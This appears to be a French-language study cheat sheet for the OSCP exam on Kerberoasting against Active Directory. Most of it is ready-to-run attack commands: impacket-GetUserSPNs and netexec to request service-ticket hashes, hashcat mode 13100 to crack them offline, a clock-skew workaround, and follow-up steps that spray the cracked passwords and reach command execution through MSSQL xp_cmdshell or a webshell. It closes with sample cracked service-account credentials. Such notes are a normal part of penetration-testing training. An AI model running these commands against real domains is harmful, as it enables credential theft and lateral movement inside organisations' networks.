Kerberoasting — TGS & crack offline
sommaire
Principe
Tout compte de domaine valide peut demander un ticket de service (TGS) pour un SPN. Le TGS est chiffré avec le hash NT du compte de service → crackable offline. Comptes de service = cibles privilégiées (souvent mots de passe faibles + droits élevés).
1) Repérer les SPN et récupérer les TGS (impacket)
# liste des comptes avec SPN
impacket-GetUserSPNs oscp.exam/user:'Pass' -dc-ip <IP_DC>
# récupérer les hashes TGS (RC4 si possible)
impacket-GetUserSPNs oscp.exam/user:'Pass' -dc-ip <IP_DC> -request -outputfile krb5.txt
2) Alternative netexec
nxc ldap <IP_DC> -u user -p 'Pass' --kerberoast krb5.txt
3) Crack (mode 13100 = Kerberos 5 TGS-REP etype 23)
hashcat -m 13100 krb5.txt /usr/share/wordlists/rockyou.txt
4) Piège fréquent : clock skew
Erreur KRB_AP_ERR_SKEW → la Kali n’est pas à l’heure du DC. Mesurer l’offset sans root : ntpdate -q <IP_DC>, puis relancer sous faketime (voir sous-nœud Kerberos ‘Clock skew’).
5) Après le crack
Tester le compte partout (nxc smb <IP> -u svc -p ‘pass’ —continue-on-success) et regarder quel service il fait tourner : MSSQL → xp_cmdshell, HTTP → webshell/service, etc.
Exemple
MSSQL/SQL01.oscp.exam -> sql_svc : Password123
HTTP/SRV01.oscp.exam -> web_svc : Password123